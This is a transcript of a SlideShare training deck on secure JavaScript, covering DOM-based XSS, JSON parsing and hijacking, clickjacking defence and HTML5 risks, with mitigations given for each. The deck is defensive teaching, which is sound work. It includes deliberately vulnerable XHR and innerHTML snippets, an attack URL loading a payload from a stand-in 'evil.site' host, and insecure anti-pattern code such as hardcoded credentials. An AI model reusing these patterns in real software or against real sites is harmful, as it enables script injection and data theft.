SlideShare a Scribd company logo
Secure JavaScript for
Developers
Trainer:
Lavakumar Kuppan
@lavakumark
http://www.andlabs.org
About
• Author of IronWASP and several other
tools
• Security Researcher
• Former Penetration Tester
• Recipient of Nullcon BlackShield
Luminaire Award
• Frequent Speaker at Security
Conferences
http://lavakumar.com
Research
Attack and Defense Labs
Repository of all Research and Tools
http://www.andlabs.org
HTML5 Security, Browser-side
Security
Topics of interest
#5 on Top 10 Web Hacks of 2010
CSRF-protection bypass using HPP and ClickJacking
Tools
IronWASP
Web Application Security Testing
Platform Ravan
JavaScript based Distributed
Computing System
JS-RECON
HTML5 based JavaScript Network
Recon Tool
Imposter
Browser Phishing Framework
Shell of the Future
XSS Reverse Web Shell
 Importance of JavaScript Security
 DOM based XSS
– Introduction
– Sources & Sinks
– Identifying DOM based XSS
– Mitigating DOM based XSS
– Lab Session
Outline
 JSON Security
– JSON Parsing
– JSON Hijacking
 Clickjacking Protection
– What doesn’t work
– What works
Outline (cont..)
 HTML5 Security
– Cross Origin Requests
– Client-side Persistent Storage
– postMessage
 Things to avoid doing in JavaScript
Outline (cont..)
Importance of JavaScript
Security
 JavaScript cannot have Security issues
 Secure Coding is a Server-side concern
 All my data is stored on the Server-side
 All critical actions are performed on the
Server-side
Myths
 JavaScript Security is as important as
Serve-side Security
 All Server-side Data can be accessed from
the browser with JavaScript
 All Server-side Functionality can be called
from the browser with JavaScript
 Client-side Storage is gaining prominence
(HTML5)
 Client-side logic is on the rise
Reality
DOM Based XSS
 Most important JavaScript Security issue
 Script Injection purely on the client-side
 Attacker controlled data injected in to the
DOM/JavaScript
 Involves a Source and a Sink
DOM Based XSS
 DOM Properties that can be influenced by
an attacker
 Types:
– Location based
– Client-side Storage based
– Navigation based
– Cross-domain
Source
 location
 location.hash
 location.href
 location.pathname
 location.search
 document.URL
 document.baseURI
 document.documentURI
 document. URLUnencoded
Location based Source
 document.cookie
 sessionStorage*
 localStorage*
 Web SQL Database*
 Indexed DB*
* HTML5
Client-side Storage Based
 window.name
 document.referrer
 history (HTML5)
Navigation Based
 postMessage*
 XHR call responses from 3rd party
JavaScript API
 JSON calls backs from 3rd party
JavaScript API
*HTML5
Cross-domain
 DOM Properties, JavaScript functions and
other client-side entities that can lead to or
influence client-side code execution
 Types:
– Execution based
– Url Based
– HTML Based
– Others
Sinks
 eval()
 Function()
 setTimeout()
 setInterval()
 execScript() (IE Only)
 crypto.generateCRMFRequest() (FF Only)
Execution Based
 location
 location.assign()
 location.replace()
 location.href
 location.protocol*
 location.search*
 location.hostname*
 location.pathname*
*Indirect impact
Url Based
 document.write()
 document.writeln()
 HTML Elements
 HTML Element Attributes
– ‘src’
– onclick, onload, onerror etc
– Form action
– href
HTML Based
 XHR Calls
– open()
– send()
– setRequestHeader()
 postMessage
 Client-side Storage
 JavaScript variables
Others
 JavaScript Static Analysis
– Identify Sources and Follow them in to Sinks
– Run Regex on JavaScript code
– IronWASP
 JavaScript Runtime Analysis
– Requires the execution of JavaScript in the page
– Alerts when Sources/Sinks are called during
execution
– Dominator
– DOM Snitch
Identifying DOM Based XSS
 Avoid Sources and Sinks as much as possible
 Perform rigorous white-list based filtering on
Sources
 Perform proper encoding before sending to Sink
 ESAPI4JS to help with encoding and filtering
Mitigating DOM Based XSS
 DOM XSS Wiki
http://code.google.com/p/domxsswiki
 DOM Snitch http://code.google.com/p/domsnitch
References
JSON Security
 Has become the standard format to send data to
JavaScript
 Subset of JavaScript
 Only a data format but :
– Improper JSON Parsing can lead to Security issues
– Improper formatting can lead to JSON Hijacking
JSON Security
 JSON data is sent as text from the server
 Must convert this to JavaScript object
 JSON.parse() is the right and safe way to do it
 Older browsers don’t support JSON.parse()
 So eval() is used instead
var js_obj = eval(‘(‘ + json_string + ‘)’)
 This is where the trouble begins
JSON Parsing
 If JSON data is user controlled/from 3rd party
then it is poisoned
 Calling eval() on such JSON leads to XSS
 Filtering & Encoding JSON string before calling
eval() does not help
 Use https://github.com/douglascrockford/JSON-
js/blob/master/json_parse.js instead
JavaScript Injected in to JSON
 Proper JSON Validation
http://blog.kotowicz.net/2011/08/death-to-filters-
how-to-validate-json.html
 JSON Validation Bypass
http://blog.mindedsecurity.com/2011/08/ye-olde-
crockford-json-regexp-is.html
References
 JSON is a sub-set of JavaScript
 JavaScript can be loaded and executed from
external websites
<script src=“http://www.google-analytics.com/urchin.js”>
 JSON can also be loaded by external websites
<script src=“http://victim.site/getUsers”>
 Structure of the JSON string will determine if
external sites can read it
JSON Hijacking
 [{“name”:”lava”}]
This is a JavaScript Array and can be hijacked by
external sites
If attacker controls some part of this string then UTF-7
data can be injected to improve attack’s effectiveness
 callback_function({“name”:”lava”})
This is a valid JavaScript function and can be hijacked
by external sites
Troublesome Formats
 JSON Hijacking
http://www.thespanner.co.uk/2011/05/30/json-
hijacking
References
 Safe JSON Format:
{“name”:”lava”}
 Safe JSON Parsing:
JSON.parse()
– Use https://github.com/douglascrockford/JSON-
js/blob/master/json_parse.js to emulate JSON.parse()
in older browsers
Safe JSON
ClickJacking Protection
 ClickJacking is performed by including the target
page in an iframe of another page
 Obvious solution appears to be to prevent the
page from loading in an iframe
 Most developers use FrameBusting for this
 Some use CSRF-tokens in the URL to prevent
this
ClickJacking Protection
 Relies on JavaScript
 Fail-open model
 Can be bypassed by:
– Double Framing
– Cancelling unload
– No-Content Flushing
– Abusing browser-based XSS Filters
– Iframe Sandboxing (HTML5)
Problems with Framebusting approach
 CSRF-token in URL is set by the server
 But there must be some initial URL which does
not have this token
 This URL is usually the home page that the user
types in the Address bar
 Attacker can include this page in iframe and
ClickJack his way through to the target page
Problems with CSRF-tokens in URL approach
 On server-side use X-FRAME-OPTIONS header
 On the client-side use a fail-close model to
framebusting
 By default the page must be unusable – Set the
CSS ‘display’ property to ‘none‘
 If the page is no in an iframe the set ‘display’ to
‘block’
 References:
OWASP ClickJacking Protection
https://www.owasp.org/index.php/Clickjacking
Best way to Mitigate ClickJacking
HTML5 Security
 Originally Ajax calls were subject to Same Origin
Policy
 Site A cannot make XMLHttpRequests to Site B
 HTML5 makes it possible to make these cross
domain calls
 Site A can now make XMLHttpRequests to Site
B as long as Site B allows it.
 Response from Site B should include a header:
 Access-Control-Allow-Origin: Site A
Cross Origin Requests
 Have you seen URLs like these:
http://www.example.com/#index.php
 Inside the page:
<html><body><script>
x = new XMLHttpRequest();
x.open("GET",location.hash.substring(1));
x.onreadystatechange=function(){if(x.readyState==4){
document.getElementById("main").innerHTML=x.responseText;}}
x.send();
</script>
<div id=“main”></div>
</body></html>
Client-side File Includes
 This design though flawed was difficult to exploit
earlier
 Introducing Cross Origin Requests
http://example.com/#http://evil.site/payload.php
 Contents of ‘payload.php’ will be included as
HTML within <div id=“main”></div>
 New type of XSS!!
Client-side File Includes (contd..)
 COR makes XMLHttpRequest as a dangerous
DOM based XSS sink
 Responses of XHR are consumed in many
websites in different ways.
Eg: JSON, XML HTML
 Since this data is supposed to be from same
domain they are usually not validated
 Huge potential for XSS vulnerabilities
Client-side File Includes (contd..)
 Here the focus is not on the response of XHR
 But instead it is the request that matters
 Sites send a lot of sensitive data to the server
using XHR
 If the URL of the XHR is made to point to the
attacker’s website, then this data is sent to
attacker’s server
Eg: x = new XMLHttpRequest();
x.open(“POST",location.hash.substring(1));
x.send(“a=1&b=2&csrf-token=k34wo9s3l”);
Cross-site Posting
 HTML5 introduces several Persistent Client-side
Storage options:
– localStorage
– WebSQL
– IndexedDB
 Devs tempted to store sensitive data on client-
side
Eg: Offline Gmail stores the entire Inbox on the
client-side
 Storing data over HTTP is vulnerable to DNS
Spoofing attacks
Client-side Persistent Storage
 HTML5 API for sending/receiving data between
frames of different origins
 API has the option to explicitly mention the
target domain when sending message
 Don’t use ‘*’ to invalidate this security measure
 API has option to check the source of the
message
 Always perform this check before using the data
from external frames
 Don’t trust data from 3rd party, always validate it
postMessage
 HTML5 Quick Reference Guide
http://www.andlabs.org/html5.html
 Cross Origin Requests Security
http://code.google.com/p/html5security/wiki/Cros
sOriginRequestSecurity
 Web SQL Database Security
http://code.google.com/p/html5security/wiki/Web
SQLDatabaseSecurity
 Mozilla Developer Network – postMessage
https://developer.mozilla.org/en/DOM/window.po
stMessage
References
Things to avoid doing in JavaScript
 JavaScript runs in the user’s environment
 User has full control over it
 Impossible to prevent user from reading
JavaScript code
 Disabling right-click DOES NOT WORK
Some Basic Facts
if(user == “admin” && passwd = “s3cr3t”)
{
window.location = “admin.php”
}
else
{
window.location = “login.php”
}*
*Stop laughing, this is a real-life example
Authentication
var auth_result = check_creds(uname,pwd);
if(!auth_result)
{
failed_login_count++;
if(failed_login_count > 3)
{
document.cookie = “account_locked = 1”;
}
}
Security Controls
if(promo_code == “ER290U”)
{
discount_percent = 50;
}
else
{
discount_percent = 10;
}
Expose Business Logic or Sensitive Information
 Client-side only Validation
 Crypto, almost always a bad idea
 Storing sensitive data in client-side stores over
HTTP
 References:
Common Sense
Things to Avoid (contd..)

More Related Content

What's hot

XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?Yurii Bilyk
 
XPATH, LDAP and Path Traversal Injection
XPATH, LDAP and Path Traversal InjectionXPATH, LDAP and Path Traversal Injection
XPATH, LDAP and Path Traversal InjectionBlueinfy Solutions
 
Same Origin Policy Weaknesses
Same Origin Policy WeaknessesSame Origin Policy Weaknesses
Same Origin Policy Weaknesseskuza55
 
MITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveMITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveGreenD0g
 
CSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectCSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectBlueinfy Solutions
 
Dom based xss
Dom based xssDom based xss
Dom based xssLê Giáp
 
Same Origin Policy Weaknesses
Same Origin Policy WeaknessesSame Origin Policy Weaknesses
Same Origin Policy Weaknesseskuza55
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)OWASP Khartoum
 
New Methods in Automated XSS Detection & Dynamic Exploit Creation
New Methods in Automated XSS Detection & Dynamic Exploit CreationNew Methods in Automated XSS Detection & Dynamic Exploit Creation
New Methods in Automated XSS Detection & Dynamic Exploit CreationKen Belva
 
Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5DefconRussia
 
Source Code Analysis with SAST
Source Code Analysis with SASTSource Code Analysis with SAST
Source Code Analysis with SASTBlueinfy Solutions
 
Rest Security with JAX-RS
Rest Security with JAX-RSRest Security with JAX-RS
Rest Security with JAX-RSFrank Kim
 
Session1-Introduce Http-HTTP Security headers
Session1-Introduce Http-HTTP Security headers Session1-Introduce Http-HTTP Security headers
Session1-Introduce Http-HTTP Security headers zakieh alizadeh
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesBrad Hill
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultMohammed ALDOUB
 
Advanced CSRF and Stateless Anti-CSRF
Advanced CSRF and Stateless Anti-CSRFAdvanced CSRF and Stateless Anti-CSRF
Advanced CSRF and Stateless Anti-CSRFjohnwilander
 
Building an API Security Ecosystem
Building an API Security EcosystemBuilding an API Security Ecosystem
Building an API Security EcosystemPrabath Siriwardena
 
Polyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPraPolyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPraMathias Karlsson
 

What's hot (20)

XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?
 
XPATH, LDAP and Path Traversal Injection
XPATH, LDAP and Path Traversal InjectionXPATH, LDAP and Path Traversal Injection
XPATH, LDAP and Path Traversal Injection
 
Same Origin Policy Weaknesses
Same Origin Policy WeaknessesSame Origin Policy Weaknesses
Same Origin Policy Weaknesses
 
Securing REST APIs
Securing REST APIsSecuring REST APIs
Securing REST APIs
 
MITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveMITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another Perspective
 
CSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectCSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open Redirect
 
Dom based xss
Dom based xssDom based xss
Dom based xss
 
Same Origin Policy Weaknesses
Same Origin Policy WeaknessesSame Origin Policy Weaknesses
Same Origin Policy Weaknesses
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
New Methods in Automated XSS Detection & Dynamic Exploit Creation
New Methods in Automated XSS Detection & Dynamic Exploit CreationNew Methods in Automated XSS Detection & Dynamic Exploit Creation
New Methods in Automated XSS Detection & Dynamic Exploit Creation
 
Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5
 
Source Code Analysis with SAST
Source Code Analysis with SASTSource Code Analysis with SAST
Source Code Analysis with SAST
 
DEfcon15 XXE XXS
DEfcon15 XXE XXSDEfcon15 XXE XXS
DEfcon15 XXE XXS
 
Rest Security with JAX-RS
Rest Security with JAX-RSRest Security with JAX-RS
Rest Security with JAX-RS
 
Session1-Introduce Http-HTTP Security headers
Session1-Introduce Http-HTTP Security headers Session1-Introduce Http-HTTP Security headers
Session1-Introduce Http-HTTP Security headers
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by Default
 
Advanced CSRF and Stateless Anti-CSRF
Advanced CSRF and Stateless Anti-CSRFAdvanced CSRF and Stateless Anti-CSRF
Advanced CSRF and Stateless Anti-CSRF
 
Building an API Security Ecosystem
Building an API Security EcosystemBuilding an API Security Ecosystem
Building an API Security Ecosystem
 
Polyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPraPolyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPra
 

Viewers also liked

JavaScript Static Security Analysis made easy with JSPrime
JavaScript Static Security Analysis made easy with JSPrimeJavaScript Static Security Analysis made easy with JSPrime
JavaScript Static Security Analysis made easy with JSPrimeNishant Das Patnaik
 
Combine may 2013 for web
Combine may 2013 for webCombine may 2013 for web
Combine may 2013 for webPUNJABI SUMAN
 
China Optical Expo on Barter
China Optical Expo on BarterChina Optical Expo on Barter
China Optical Expo on BarterDaniel Evans
 
Why scala - executive overview
Why scala - executive overviewWhy scala - executive overview
Why scala - executive overviewRazvan Cojocaru
 
The new masters of management
The new masters of managementThe new masters of management
The new masters of managementrsoosaar
 
Web Services Catalog
Web Services CatalogWeb Services Catalog
Web Services CatalogRudolf Husar
 
A Glass Of Milk ( in English & Chinese )
A Glass Of Milk ( in English & Chinese )A Glass Of Milk ( in English & Chinese )
A Glass Of Milk ( in English & Chinese )OH TEIK BIN
 
Budget Simulation Assignment Renee Jackson
Budget Simulation Assignment Renee JacksonBudget Simulation Assignment Renee Jackson
Budget Simulation Assignment Renee Jacksonrjackstar
 
新希望.
新希望.新希望.
新希望.sft
 
Lookbook "The ballet of the Tsars"
Lookbook "The ballet of the Tsars"Lookbook "The ballet of the Tsars"
Lookbook "The ballet of the Tsars"Patricia Rosales
 
Interoperability in a Highly Decentralised Country- Lessons Learned
Interoperability in a Highly Decentralised Country- Lessons LearnedInteroperability in a Highly Decentralised Country- Lessons Learned
Interoperability in a Highly Decentralised Country- Lessons LearnedPlan de Calidad para el SNS
 
Covestro y Ercros. tarragona
Covestro y Ercros. tarragonaCovestro y Ercros. tarragona
Covestro y Ercros. tarragonaoblanca
 
The Praying Indians of Megunko
The Praying Indians of MegunkoThe Praying Indians of Megunko
The Praying Indians of Megunkopebrodeur
 
Because i believe i can
Because i believe i canBecause i believe i can
Because i believe i cansaurabh gupta
 
The Regacy Chapter 5.4b Ink - Emma
The Regacy Chapter 5.4b Ink - EmmaThe Regacy Chapter 5.4b Ink - Emma
The Regacy Chapter 5.4b Ink - Emmaregacylady
 
Top 8 chief business development officer resume samples
Top 8 chief business development officer resume samplesTop 8 chief business development officer resume samples
Top 8 chief business development officer resume samplesporichfergu
 
Tonometer Final NSF I-Corps presentation
Tonometer Final NSF I-Corps presentationTonometer Final NSF I-Corps presentation
Tonometer Final NSF I-Corps presentationStanford University
 

Viewers also liked (20)

JavaScript Static Security Analysis made easy with JSPrime
JavaScript Static Security Analysis made easy with JSPrimeJavaScript Static Security Analysis made easy with JSPrime
JavaScript Static Security Analysis made easy with JSPrime
 
Combine may 2013 for web
Combine may 2013 for webCombine may 2013 for web
Combine may 2013 for web
 
China Optical Expo on Barter
China Optical Expo on BarterChina Optical Expo on Barter
China Optical Expo on Barter
 
Why scala - executive overview
Why scala - executive overviewWhy scala - executive overview
Why scala - executive overview
 
The new masters of management
The new masters of managementThe new masters of management
The new masters of management
 
Web Services Catalog
Web Services CatalogWeb Services Catalog
Web Services Catalog
 
Celevation
CelevationCelevation
Celevation
 
A Glass Of Milk ( in English & Chinese )
A Glass Of Milk ( in English & Chinese )A Glass Of Milk ( in English & Chinese )
A Glass Of Milk ( in English & Chinese )
 
Budget Simulation Assignment Renee Jackson
Budget Simulation Assignment Renee JacksonBudget Simulation Assignment Renee Jackson
Budget Simulation Assignment Renee Jackson
 
新希望.
新希望.新希望.
新希望.
 
jQuery: Events, Animation, Ajax
jQuery: Events, Animation, AjaxjQuery: Events, Animation, Ajax
jQuery: Events, Animation, Ajax
 
Lookbook "The ballet of the Tsars"
Lookbook "The ballet of the Tsars"Lookbook "The ballet of the Tsars"
Lookbook "The ballet of the Tsars"
 
The engineer’s licensing guidance document ELGD 2007
The engineer’s licensing guidance document ELGD 2007The engineer’s licensing guidance document ELGD 2007
The engineer’s licensing guidance document ELGD 2007
 
Interoperability in a Highly Decentralised Country- Lessons Learned
Interoperability in a Highly Decentralised Country- Lessons LearnedInteroperability in a Highly Decentralised Country- Lessons Learned
Interoperability in a Highly Decentralised Country- Lessons Learned
 
Covestro y Ercros. tarragona
Covestro y Ercros. tarragonaCovestro y Ercros. tarragona
Covestro y Ercros. tarragona
 
The Praying Indians of Megunko
The Praying Indians of MegunkoThe Praying Indians of Megunko
The Praying Indians of Megunko
 
Because i believe i can
Because i believe i canBecause i believe i can
Because i believe i can
 
The Regacy Chapter 5.4b Ink - Emma
The Regacy Chapter 5.4b Ink - EmmaThe Regacy Chapter 5.4b Ink - Emma
The Regacy Chapter 5.4b Ink - Emma
 
Top 8 chief business development officer resume samples
Top 8 chief business development officer resume samplesTop 8 chief business development officer resume samples
Top 8 chief business development officer resume samples
 
Tonometer Final NSF I-Corps presentation
Tonometer Final NSF I-Corps presentationTonometer Final NSF I-Corps presentation
Tonometer Final NSF I-Corps presentation
 

Similar to Secure java script-for-developers

04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesShreeraj Shah
 
Browser security
Browser securityBrowser security
Browser securityUday Anand
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionMikhail Egorov
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
 
[Poland] It's only about frontend
[Poland] It's only about frontend[Poland] It's only about frontend
[Poland] It's only about frontendOWASP EEE
 
Message in a Bottle
Message in a BottleMessage in a Bottle
Message in a BottleZohar Arad
 
Understanding dom based xss
Understanding dom based xssUnderstanding dom based xss
Understanding dom based xssPotato
 
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...Mario Heiderich
 
Locking the Throneroom 2.0
Locking the Throneroom 2.0Locking the Throneroom 2.0
Locking the Throneroom 2.0Mario Heiderich
 
Waf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptWaf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptDenis Kolegov
 
Building Layers of Defense with Spring Security
Building Layers of Defense with Spring SecurityBuilding Layers of Defense with Spring Security
Building Layers of Defense with Spring SecurityJoris Kuipers
 
Java Script Based Client Server Webapps 2
Java Script Based Client Server Webapps 2Java Script Based Client Server Webapps 2
Java Script Based Client Server Webapps 2kriszyp
 
Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web SecurityChris Shiflett
 
Secure Mashups
Secure MashupsSecure Mashups
Secure Mashupskriszyp
 
Talk about html5 security
Talk about html5 securityTalk about html5 security
Talk about html5 securityHuang Toby
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application DefenseFrank Kim
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Barrel Software
 

Similar to Secure java script-for-developers (20)

04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
 
Browser security
Browser securityBrowser security
Browser security
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
[Poland] It's only about frontend
[Poland] It's only about frontend[Poland] It's only about frontend
[Poland] It's only about frontend
 
Message in a Bottle
Message in a BottleMessage in a Bottle
Message in a Bottle
 
Understanding dom based xss
Understanding dom based xssUnderstanding dom based xss
Understanding dom based xss
 
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
 
Locking the Throneroom 2.0
Locking the Throneroom 2.0Locking the Throneroom 2.0
Locking the Throneroom 2.0
 
Complete xss walkthrough
Complete xss walkthroughComplete xss walkthrough
Complete xss walkthrough
 
Browser Security
Browser SecurityBrowser Security
Browser Security
 
Waf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptWaf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScript
 
Building Layers of Defense with Spring Security
Building Layers of Defense with Spring SecurityBuilding Layers of Defense with Spring Security
Building Layers of Defense with Spring Security
 
Java Script Based Client Server Webapps 2
Java Script Based Client Server Webapps 2Java Script Based Client Server Webapps 2
Java Script Based Client Server Webapps 2
 
Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web Security
 
Secure Mashups
Secure MashupsSecure Mashups
Secure Mashups
 
Talk about html5 security
Talk about html5 securityTalk about html5 security
Talk about html5 security
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application Defense
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 

More from n|u - The Open Security Community

Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...n|u - The Open Security Community
 

More from n|u - The Open Security Community (20)

Hardware security testing 101 (Null - Delhi Chapter)
Hardware security testing 101 (Null - Delhi Chapter)Hardware security testing 101 (Null - Delhi Chapter)
Hardware security testing 101 (Null - Delhi Chapter)
 
Osint primer
Osint primerOsint primer
Osint primer
 
SSRF exploit the trust relationship
SSRF exploit the trust relationshipSSRF exploit the trust relationship
SSRF exploit the trust relationship
 
Nmap basics
Nmap basicsNmap basics
Nmap basics
 
Metasploit primary
Metasploit primaryMetasploit primary
Metasploit primary
 
Api security-testing
Api security-testingApi security-testing
Api security-testing
 
Introduction to TLS 1.3
Introduction to TLS 1.3Introduction to TLS 1.3
Introduction to TLS 1.3
 
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
 
Talking About SSRF,CRLF
Talking About SSRF,CRLFTalking About SSRF,CRLF
Talking About SSRF,CRLF
 
Building active directory lab for red teaming
Building active directory lab for red teamingBuilding active directory lab for red teaming
Building active directory lab for red teaming
 
Owning a company through their logs
Owning a company through their logsOwning a company through their logs
Owning a company through their logs
 
Introduction to shodan
Introduction to shodanIntroduction to shodan
Introduction to shodan
 
Cloud security
Cloud security Cloud security
Cloud security
 
Detecting persistence in windows
Detecting persistence in windowsDetecting persistence in windows
Detecting persistence in windows
 
Frida - Objection Tool Usage
Frida - Objection Tool UsageFrida - Objection Tool Usage
Frida - Objection Tool Usage
 
OSQuery - Monitoring System Process
OSQuery - Monitoring System ProcessOSQuery - Monitoring System Process
OSQuery - Monitoring System Process
 
DevSecOps Jenkins Pipeline -Security
DevSecOps Jenkins Pipeline -SecurityDevSecOps Jenkins Pipeline -Security
DevSecOps Jenkins Pipeline -Security
 
Extensible markup language attacks
Extensible markup language attacksExtensible markup language attacks
Extensible markup language attacks
 
Linux for hackers
Linux for hackersLinux for hackers
Linux for hackers
 
Android Pentesting
Android PentestingAndroid Pentesting
Android Pentesting
 

Recently uploaded

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasiemaillard
 
size separation d pharm 1st year pharmaceutics
size separation d pharm 1st year pharmaceuticssize separation d pharm 1st year pharmaceutics
size separation d pharm 1st year pharmaceuticspragatimahajan3
 
The Last Leaf, a short story by O. Henry
The Last Leaf, a short story by O. HenryThe Last Leaf, a short story by O. Henry
The Last Leaf, a short story by O. HenryEugene Lysak
 
Application of Matrices in real life. Presentation on application of matrices
Application of Matrices in real life. Presentation on application of matricesApplication of Matrices in real life. Presentation on application of matrices
Application of Matrices in real life. Presentation on application of matricesRased Khan
 
Championnat de France de Tennis de table/
Championnat de France de Tennis de table/Championnat de France de Tennis de table/
Championnat de France de Tennis de table/siemaillard
 
Basic phrases for greeting and assisting costumers
Basic phrases for greeting and assisting costumersBasic phrases for greeting and assisting costumers
Basic phrases for greeting and assisting costumersPedroFerreira53928
 
Removal Strategy _ FEFO _ Working with Perishable Products in Odoo 17
Removal Strategy _ FEFO _ Working with Perishable Products in Odoo 17Removal Strategy _ FEFO _ Working with Perishable Products in Odoo 17
Removal Strategy _ FEFO _ Working with Perishable Products in Odoo 17Celine George
 
UNIT – IV_PCI Complaints: Complaints and evaluation of complaints, Handling o...
UNIT – IV_PCI Complaints: Complaints and evaluation of complaints, Handling o...UNIT – IV_PCI Complaints: Complaints and evaluation of complaints, Handling o...
UNIT – IV_PCI Complaints: Complaints and evaluation of complaints, Handling o...Sayali Powar
 
ppt your views.ppt your views of your college in your eyes
ppt your views.ppt your views of your college in your eyesppt your views.ppt your views of your college in your eyes
ppt your views.ppt your views of your college in your eyesashishpaul799
 
How to Break the cycle of negative Thoughts
How to Break the cycle of negative ThoughtsHow to Break the cycle of negative Thoughts
How to Break the cycle of negative ThoughtsCol Mukteshwar Prasad
 
Neurulation and the formation of the neural tube
Neurulation and the formation of the neural tubeNeurulation and the formation of the neural tube
Neurulation and the formation of the neural tubeSaadHumayun7
 
The Benefits and Challenges of Open Educational Resources
The Benefits and Challenges of Open Educational ResourcesThe Benefits and Challenges of Open Educational Resources
The Benefits and Challenges of Open Educational Resourcesaileywriter
 
Salient features of Environment protection Act 1986.pptx
Salient features of Environment protection Act 1986.pptxSalient features of Environment protection Act 1986.pptx
Salient features of Environment protection Act 1986.pptxakshayaramakrishnan21
 
